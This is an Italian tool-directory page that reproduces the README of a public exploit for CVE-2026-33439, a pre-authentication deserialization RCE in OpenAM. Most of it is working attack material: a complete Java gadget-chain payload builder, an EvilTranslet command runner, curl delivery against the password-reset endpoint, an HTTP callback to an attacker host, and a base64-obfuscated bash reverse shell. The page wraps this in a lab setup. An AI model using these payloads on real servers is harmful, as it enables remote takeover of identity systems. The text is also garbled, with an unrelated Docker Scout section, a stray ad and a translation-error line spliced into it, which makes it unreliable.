Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33439 — Prima implementazione di exploit condivisa pubblicamente per CVE-2026-33439 (RCE pre-autenticazione OpenAM tramite deserializzazione di jato.clientSession). | Kitploit
Strumenti/GitHubGitHub/themalwareguardian/cve-2026-33439
Analisi delle VulnerabilitàAnalisi del CodiceExploitReverse EngineeringSfruttamento di Applicazioni WebAnalisi MalwarePenetration TestingApprendimento e FormazioneSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Binary Exploitation
Lab e Pratica
GitHubthemalwareguardian/cve-2026-33439

CVE-2026-33439

Prima implementazione di exploit condivisa pubblicamente per CVE-2026-33439 (RCE pre-autenticazione OpenAM tramite deserializzazione di jato.clientSession).

Vedi Repository
213 mesi faNon ancora revisionato

🐞 CVE-2026-33439: OpenAM Pre-Auth RCE via jato.clientSession Deserialization

Intuizione umana + analisi assistita da IA + reverse engineering + advisory → exploit

Prima implementazione di exploit condivisa pubblicamente per CVE-2026-33439

Vulnerabilità di deserializzazione Java non autenticata in ForgeRock OpenAM che consente l'esecuzione remota completa di codice tramite oggetti di sessione JATO appositamente costruiti. Lo stesso fiume scorre due volte: hanno corretto jato.pageSession (CVE-2021-35464) e si sono dimenticati di jato.clientSession (CVE-2026-33439). Una catena di gadget di deserializzazione non chiede credenziali.




📑 Indice dei contenuti

  • Panoramica
  • La discendenza di CVE-2021-35464
  • Analisi della vulnerabilità CVE-2026-33439
    📂
    • Causa principale
    • Versioni interessate
    • Superficie d'attacco
  • La catena di gadget
    📂
    • Deserializzazione Java 101
    • Encoder.decodeHttp64
    • Interni della catena di gadget
  • Ambiente di laboratorio
    📂
    • Architettura
    • Configurazione
    • Accesso
  • Sfruttamento
    📂
    • Prerequisiti
    • Scoperta e ricognizione
    • Comprendere la codifica
    • Costruzione dell'exploit
    • Consegna del payload
    • Utilizzo dello strumento PoC
  • Mitigazione
  • Riferimenti



🎯 Panoramica

CVE-2026-33439 è una vulnerabilità di Remote Code Execution pre-autenticazione in OpenIdentityPlatform OpenAM (versioni precedenti alla 16.0.6). La vulnerabilità deriva dalla deserializzazione Java non sicura del parametro HTTP jato.clientSession all'interno di ClientSession.deserializeAttributes(), che chiama Encoder.deserialize() → ApplicationObjectInputStream.readObject() senza alcuna whitelist di classi applicata.

Un attaccante non autenticato invia una richiesta HTTP GET o POST appositamente costruita contenente un oggetto Java serializzato a qualsiasi endpoint JATO ViewBean la cui JSP renderizza tag <jato:form>. Al ricevimento, il server deserializza l'oggetto senza validazione, attivando una catena di gadget costruita interamente con classi incluse nel WAR di OpenAM – senza richiedere librerie esterne – ed eseguendo comandi OS arbitrari come utente del processo applicativo.

Vettore CVSS 4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N → 9.3 Critico

Vettore CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critico




Scarica lo strumento
🧬 La discendenza di CVE-2021-35464

Questa vulnerabilità è una regressione diretta della correzione incompleta applicata dopo CVE-2021-35464.

  • CVE-2021-35464 (ForgeRock AM / OpenAM): RCE pre-autenticazione tramite deserializzazione non sicura del parametro jato.pageSession. Ampiamente sfruttata in natura; elencata nel KEV di CISA. La correzione ha introdotto WhitelistObjectInputStream all'interno di ConsoleViewBeanBase.deserializePageAttributes() – una sottoclasse personalizzata di ObjectInputStream che controlla ogni nome di classe rispetto a una allowlist hardcoded di ~40 classi sicure prima di istanziarla.

  • CVE-2026-33439 (OpenAM ≤ 16.0.5): La correzione è stata applicata solo a jato.pageSession. Il parametro jato.clientSession – gestito da un percorso di codice completamente separato in ClientSession.deserializeAttributes() – non è mai stato corretto e utilizza ancora Encoder.deserialize() → ApplicationObjectInputStream senza filtri, che chiama ObjectInputStream.readObject() senza whitelist di classi.

Il primitivo d'attacco è lo stesso. Il sink di deserializzazione è diverso. È cambiato solo il nome del parametro.




🔬 Analisi della vulnerabilità CVE-2026-33439

Causa principale

JATO serializza lo stato della vista UI in parametri HTTP denominati jato.pageSession e jato.clientSession. Quando arriva una richiesta, OpenAM deserializza questi parametri per ripristinare lo stato della UI prima di renderizzare la risposta. I due parametri seguono percorsi di codice completamente diversi.

Il percorso di codice corretto (post-CVE-2021-35464) per jato.pageSession:```java // PATCHED - ConsoleViewBeanBase.deserializePageAttributes() ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded)); // class whitelist enforced - gadget chains blocked Object obj = ois.readObject();

root@kitploit:~
Il percorso di codice non patchato per jato.clientSession (vulnerabile):```java
// ClientSession.java
protected ClientSession(RequestContext context) {
	this.encodedSessionString =
		context.getRequest().getParameter("jato.clientSession");
}

protected void deserializeAttributes() {
	if (this.encodedSessionString != null
		&& this.encodedSessionString.trim().length() > 0) {
		this.setAttributes(
			(Map) Encoder.deserialize(
				// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
				Encoder.decodeHttp64(this.encodedSessionString), false)
		);
	}
}

Encoder.deserialize() costruisce un semplice ApplicationObjectInputStream - una sottoclasse di ObjectInputStream senza filtraggio delle classi. Qualsiasi classe sul classpath JVM può essere istanziata. La deserializzazione viene attivata durante il rendering JSP ogni volta che viene renderizzato un tag < jato:form >:``` getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()

root@kitploit:~
---

<div id="vulnerability_affected"/>

### ***Versioni interessate***

| Prodotto                    | Vulnerabile                                     | Corretto |
|-----------------------------|-------------------------------------------------|----------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5                                        | 16.0.6   |
| ForgeRock AM (downstream)   | Potenzialmente interessato a seconda della discendenza delle patch | -        |

---

<div id="vulnerability_attacksurface"/>

### ***Superficie di attacco***

Qualsiasi endpoint JATO ViewBean il cui JSP contiene un tag *< jato:form >* è sfruttabile in pre-autenticazione:

| Endpoint                  | Scopo                              |
|---------------------------|------------------------------------|
| /ui/PWResetUserValidation | Reimpostazione password - input identità utente |
| /ui/PWResetQuestion       | Reimpostazione password - domande di sicurezza  |

Gli endpoint di reimpostazione password sono il bersaglio principale: sono accessibili pubblicamente per progettazione e garantiscono il rendering dei tag *< jato:form >*.



---
---
---



<div id="gadgetchain"/>

## ***⚙️ La catena di gadget***

<div id="gadgetchain_deserialization101"/>

### ***Deserializzazione Java 101***

Quando Java deserializza un oggetto da un flusso di byte, chiama readObject() su ogni classe che ricostruisce, incluse gli oggetti annidati. Se un attaccante controlla il flusso di byte e inietta un oggetto il cui readObject() attiva una catena di chiamate a metodi che termina con l'esecuzione di codice, si ottiene una RCE tramite gadget chain.

Il punto chiave di CVE-2026-33439: la gadget chain non richiede librerie esterne. Ogni classe nella catena è inclusa all'interno dello stesso WAR di OpenAM `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar`. <u>Ciò rende la vulnerabilità sfruttabile su qualsiasi distribuzione OpenAM predefinita.</u>

---

<div id="gadgetchain_encoding"/>

### ***Encoder.decodeHttp64***

Questo è il dettaglio critico che fa funzionare l'exploit. La classe `Encoder` in `jato-shaded-16.0.5.jar` utilizza l'encoder/decoder base64 URL-safe di Java - non la base64 standard, e non uno schema personalizzato di sostituzione dei caratteri.

Verificato decompilando Encoder.class:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

💰 Versione Pro

Sei serio riguardo alla caccia ai bug bounty? Forse vuoi portare la tua ricognizione al livello successivo? Allora forse la Versione Pro di Reaper fa per te!

La Versione Pro è disponibile per l'acquisto qui: http://reaper.ad.tw94.com/#pricing``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn

root@kitploit:~
Il Base64 URL-safe usa '-' invece di '+' e '_' invece di '/', senza padding '='. La codifica corretta è:```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)

Qualsiasi altra codifica, inclusa la base64 standard o la sostituzione manuale di caratteri, farà sì che decodeHttp64() lanci un'eccezione o produca byte corrotti, interrompendo silenziosamente la deserializzazione senza alcun errore nella risposta HTTP.


Dettagli interni della gadget chain

L'intera catena, utilizzando solo classi dal WAR di OpenAM:``` PriorityQueue.readObject() [java.util - JDK] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar] → Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar] → Column.getProperty(o1) → PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar] o1, "outputProperties") → Method.invoke(o1, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → getTransletInstance() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.() [attacker bytecode] → Runtime.getRuntime().exec(cmd)

root@kitploit:~
No input text was provided to translate.```bash
# Extract Column$ColumnComparator.class from the JAR
jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'

# Decompile and inspect the compare() method, reveals getTable() call before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"

# Extract and inspect Column.class, reveals getProperty() and setTable() methods
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class

javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"

Dettaglio critico: "Column$ColumnComparator.compare()" chiama "column.getTable().isSortedAscending()" prima di chiamare "getProperty()". Se "getTable()" restituisce null, la catena si interrompe con "NullPointerException" prima di raggiungere "TemplatesImpl". Un oggetto "Table" deve essere associato alla "Column" tramite "column.setTable(table)" prima della serializzazione.




🧪 Ambiente di Laboratorio

Architettura```

┌────────────────────────────────────────────────────────────────┐ │ Docker Network: lab_net │ │ (subnet 10.13.37.0/24) │ │ │ │ ┌──────────────────────────────┐ ┌───────────────────────┐ │ │ │ openam.lab.local │ │ attacker │ │ │ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │ │ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │ │ │ jato.clientSession ← sink │ │ python3, curl, nc │ │ │ │ port 8080 │ │ │ │ │ └──────────────────────────────┘ └───────────────────────┘ │ │ ▲ │ └──────────────────┼─────────────────────────────────────────────┘ │ localhost:8080 ┌──────┴──────┐ │ HOST │ └─────────────┘

root@kitploit:~
| Container               | Image                                    | Role                      |
|-------------------------|------------------------------------------|---------------------------|
| cve_2026_33439_openam   | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | Target vulnerabile        |
| cve_2026_33439_attacker | debian:bookworm-slim                     | Macchina di attacco       |

> Il lab usa il WAR ufficiale di OpenAM 16.0.5 distribuito su Tomcat 10.1.52 con Java 21 - l'esatto ambiente descritto nel GitHub Security Advisory.

---

<div id="lab_setup"/>

### ***Configurazione***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
</p>

**Passaggio 1 - Scarica il WAR ufficiale di OpenAM 16.0.5**```powershell
# From PowerShell on the host
cd "01 Vulnerable"

Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"

Passaggio 2 - Avviare i contenitori```powershell docker compose up -d

root@kitploit:~
**Passaggio 3 - Configurare OpenAM dal browser**

Navigare su "http://localhost:8080/openam", fare clic su "Crea configurazione predefinita" e impostare:

| Field                           | Value         |
|---------------------------------|---------------|
| Password utente predefinita (amadmin) | Lab@dm1n2026! |
| Password agente                  | secret12      |

Attendere circa 2 minuti per il completamento della configurazione.

**Passaggio 4 - Confermare che il Password Reset sia abilitato**

Accedere come amadmin → Configura → Servizi globali → Password Reset → abilitare l'interruttore → Salva modifiche.

**Passaggio 5 - Identificare gli endpoint JSP sfruttabili**

Trovare tutti i JSP nel WAR che contengono il tag *< jato:form >*, questi sono gli endpoint in cui viene attivata la deserializzazione di jato.clientSession:```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam

# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"

Ispeziona il sorgente JSP per capire perché jato.clientSession potrebbe non comparire nell'HTML renderizzato. Il tag <jato:form> è racchiuso dentro <jato:content name="resetPage">, che viene renderizzato solo quando il ViewBean attiva quel blocco. Tuttavia, <jato:useViewBean> all'inizio della JSP istanzia sempre il ViewBean e processa jato.clientSession prima di decidere quali blocchi renderizzare – la deserializzazione avviene in quel punto indipendentemente da ciò:```powershell docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp

root@kitploit:~
| Docker Scout |

Docker Scout è uno strumento di sicurezza per la supply chain che ti aiuta a identificare e correggere le vulnerabilità nelle tue immagini container. Fornisce visibilità sui contenuti delle tue immagini, rileva le vulnerabilità e suggerisce azioni di remediation.

### Caratteristiche

- **Generazione SBOM**: Genera automaticamente una Software Bill of Materials (SBOM) per le tue immagini
- **Rilevamento delle vulnerabilità**: Identifica le vulnerabilità note nei pacchetti delle tue immagini
- **Consigli di remediation**: Ricevi raccomandazioni attuabili per affrontare i problemi di sicurezza
- **Valutazione delle policy**: Verifica le immagini rispetto alle policy di sicurezza della tua organizzazione
- **Integrazione**: Funziona con GitHub Actions, GitLab CI e altre piattaforme CI/CD

### Avvio rapido

Dopo aver installato Docker Desktop o Docker Engine, abilita Docker Scout:

```bash
docker scout enable

Per analizzare un'immagine:

root@kitploit:~
docker scout cves myimage:latest

Questo comando mostra tutte le CVE trovate nell'immagine.

Output

L'output è diviso in sezioni:

SezioneDescrizione
ImmagineIl riferimento dell'immagine analizzata
Immagine baseL'immagine base utilizzata
VulnerabilitàElenco delle vulnerabilità trovate con la loro gravità
Prossimi passiAzioni raccomandate

Esempio

Ecco un esempio di esecuzione di Docker Scout su un'immagine demo:

root@kitploit:~
$ docker scout cves alpine:latest
    ✓ SBOM of image scanned: 0 vulnerabilities detected

Risorse aggiuntive

  • Documentazione di Docker Scout

  • Repository GitHub di Docker Scout```jsp <%-- Always instantiates ViewBean and processes jato.clientSession --%> <jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">

    <%-- Only renders if ViewBean activates this block --%> <jato:content name="resetPage"> <jato:form name="PWResetUserValidation" method="post"> <%-- jato.clientSession hidden field appears here --%> </jato:form> </jato:content>

</jato:useViewBean>

root@kitploit:~
**Passaggio 6 - Verifica che l'endpoint sia raggiungibile prima dell'autenticazione**```powershell
(Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"

Accesso```powershell

Drop into the attacker container

docker exec -it cve_2026_33439_attacker bash

root@kitploit:~
Smontaggio:```powershell
#  stop, keep volumes
docker compose down

# full wipe
docker compose down -v



💣 Sfruttamento

Prerequisiti

RequisitoNote
JDK 21 (javac)Deve corrispondere alla versione JVM in esecuzione su OpenAM. JRE da solo non basta, javac è necessario per compilare EvilTranslet e PayloadBuilder
openam-core-16.0.5.jarCopiato dal container OpenAM - contiene Column, Column$ColumnComparator, PropertyUtils
xalan-2.7.3.jarCopiato dal container OpenAM - contiene TemplatesImpl, TransformerFactoryImpl
serializer-2.7.3.jarCopiato dal container OpenAM - contiene SerializationHandler usato da EvilTranslet
click-nodeps-2.3.0.jarCopiato dal container OpenAM - contiene Table (richiesto da Column$ColumnComparator)
click-extras-2.3.0.jarCopiato dal container OpenAM - dipendenza transitiva di click-nodeps
jato-shaded-16.0.5.jarCopiato dal container OpenAM - contiene Encoder con decodeHttp64
servlet-api.jarCopiato da lib/ di Tomcat - Jakarta Servlet API richiesta per la serializzazione di Table
Python 3.8+Per lo script PoC
requestspip install requests

Scoperta e ricognizione

Step 1 - Conferma che OpenAM sia in esecuzione e identifica la versione``` http://localhost:8080/openam/ccversion/Version

root@kitploit:~
**Passaggio 2 - Sonda gli endpoint JATO ViewBean**```bash
for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do
	STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
		"http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe")
	echo "[HTTP ${STATUS}] ${ENDPOINT}"
done

Passaggio 3 - Conferma che jato.clientSession è elaborata```bash curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"

root@kitploit:~
La risposta conterrà "jato.defaultCommand" e "jato.pageSession" ma non "jato.clientSession" nell'HTML renderizzato: questo è il comportamento previsto. Il campo "jato.clientSession" appare solo all'interno di *< jato:content name="resetPage" >*, che richiede al ViewBean di attivare quel blocco. Tuttavia, *< jato:useViewBean >* istanzia sempre il ViewBean ed elabora "jato.clientSession" prima di decidere quali blocchi renderizzare. La deserializzazione viene attivata al momento dell'istanziazione, indipendentemente dal fatto che il campo appaia nell'output HTML finale. La presenza di "jato.pageSession" nella risposta conferma che la serializzazione JATO è attiva su questo endpoint e che "jato.clientSession" verrà deserializzato nella richiesta successiva.

---

<div id="exploitation_analysis"/>

### ***Comprendere la codifica***

Prima di costruire l'exploit, è necessario verificare la codifica utilizzata da "Encoder.decodeHttp64()" decompilando il JAR di JATO. Questo passaggio è essenziale: l'uso di una codifica errata causa un silenzioso fallimento della deserializzazione.

**Passo 1 - Copiare tutti i JAR richiesti da OpenAM nell'area di lavoro dell'attaccante**

Da PowerShell sull'host:```powershell
docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar .
docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/
docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar .
docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/
docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar .
docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/
docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar .
docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/
docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar .
docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/
docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar .
docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/
docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar .
docker cp servlet-api.jar cve_2026_33439_attacker:/work/

Passaggio 2 - Decompilare l'Encoder per verificare il metodo di decodifica

Dall'interno del container dell'attaccante:```bash

Extract Encoder.class from the JATO JAR

jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

Decompile and inspect decodeHttp64

javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

root@kitploit:~
Output previsto che conferma base64 URL-safe:```
public static byte[] decodeHttp64(java.lang.String);
Code:
	0: invokestatic  #8  // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder;
	3: aload_0
	4: invokevirtual #9  // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B
	7: areturn

Passaggio 3 - Decompilare Column$ColumnComparator per verificare il percorso della catena di gadget```bash

Extract Column and ColumnComparator

jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class

Verify compare() calls getTable() before getProperty()

javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"

root@kitploit:~
Questo conferma che Column.getTable() deve restituire un oggetto Table non null, altrimenti compare() lancia NullPointerException prima di raggiungere getProperty() → TemplatesImpl.

---

<div id="exploitation_building"/>

### ***Costruzione dell'Exploit***

Tutti i comandi dall'interno del container dell'attaccante.

**Step 1 - Imposta il classpath**```bash
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

Passaggio 2 - Scrivere e compilare EvilTranslet.java

EvilTranslet estende AbstractTranslet (richiesto da TemplatesImpl) ed esegue il comando nell'inizializzatore statico, che viene eseguito automaticamente alla chiamata di newInstance().```bash cat > /work/EvilTranslet.java << 'EOF' import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF

javac -cp $CP /work/EvilTranslet.java

root@kitploit:~
**Passo 3 - Scrivere e compilare PayloadBuilder.java**

PayloadBuilder costruisce la catena di gadget e restituisce il payload serializzato codificato in base64 URL-safe.```bash
cat > /work/PayloadBuilder.java << 'EOF'
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
import org.openidentityplatform.openam.click.control.Column;
import org.openidentityplatform.openam.click.control.Table;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class PayloadBuilder {

	// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
	static String encodeHttp64(byte[] data) {
		return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
	}

	static void setField(Object obj, String name, Object value) throws Exception {
		Field f = obj.getClass().getDeclaredField(name);
		f.setAccessible(true);
		f.set(obj, value);
	}

	static void setFieldPQ(Object obj, String name, Object value) throws Exception {
		Field f = PriorityQueue.class.getDeclaredField(name);
		f.setAccessible(true);
		f.set(obj, value);
	}

	public static void main(String[] args) throws Exception {
		byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));

		// Step 1 - TemplatesImpl with EvilTranslet bytecode
		// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
		TemplatesImpl templates = new TemplatesImpl();
		setField(templates, "_bytecodes",     new byte[][]{ bytecode });
		setField(templates, "_name",          "EvilTranslet");
		setField(templates, "_tfactory",      new TransformerFactoryImpl());
		setField(templates, "_transletIndex", 0);

		// Step 2 - Column with Table associated
		// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
		Table table = new Table();
		Column column = new Column("outputProperties");
		column.setTable(table);

		@SuppressWarnings("unchecked")
		Comparator<Object> comparator = (Comparator<Object>) column.getComparator();

		// Step 3 - PriorityQueue as deserialization trigger
		// readObject() -> heapify() -> siftDown() -> comparator.compare()
		// Size must be >= 2 for heapify to call compare()
		PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
		setFieldPQ(queue, "queue", new Object[]{ templates, templates });
		setFieldPQ(queue, "size",  2);

		// Step 4 - Serialize and URL-safe base64 encode
		ByteArrayOutputStream baos = new ByteArrayOutputStream();
		ObjectOutputStream oos = new ObjectOutputStream(baos);
		oos.writeObject(queue);
		oos.close();

		System.out.println(encodeHttp64(baos.toByteArray()));
	}
}
EOF

javac -cp $CP /work/PayloadBuilder.java

Passo 4 - Genera il payload```bash java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64

Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)

head -c 10 /work/payload.b64

root@kitploit:~
---

<div id="exploitation_delivery"/>

### ***Consegna del Payload***

**Conferma la RCE con un callback HTTP out-of-band**

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/30f9c39c35fabdb472cae9e28d7edb5c3edf4637b9d9334234dc02d56b774b85.png">
</p>

Terminale 1 - Listener:```
docker exec -it cve_2026_33439_attacker bash

nc -lvnp 9999

Terminale 2 - Genera e invia il payload di callback:``` docker exec -it cve_2026_33439_attacker bash

cat > /work/EvilTranslet.java << 'EOF' import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64

PAYLOAD=$(cat /work/payload_http.b64)

curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

root@kitploit:~
Se l'RCE funziona, il Terminal 1 riceve una connessione HTTP in entrata dal server OpenAM:```
nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992
GET /pwned HTTP/1.1
Host: attacker:9999
User-Agent: curl/8.5.0
Accept: */*

Scrivere un artefatto di file

``` cat > /work/EvilTranslet.java << 'EOF' import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64

PAYLOAD=$(cat /work/payload_file.b64)

curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

root@kitploit:~
Verifica da PowerShell:```
docker exec cve_2026_33439_openam ls -la /tmp/pwned

Reverse shell

Terminale 1 - Listener:``` docker exec -it cve_2026_33439_attacker bash

nc -lvnp 4444

root@kitploit:~
Terminal 2 - Consegna:```
docker exec -it cve_2026_33439_attacker bash

CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'

B64CMD=$(echo "$CMD" | base64 -w 0)

cat > /work/EvilTranslet.java << EOF
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet {
	static {
		try {
			Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"});
		} catch (Exception ignored) {}
	}
	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64

PAYLOAD=$(cat /work/payload_shell.b64)

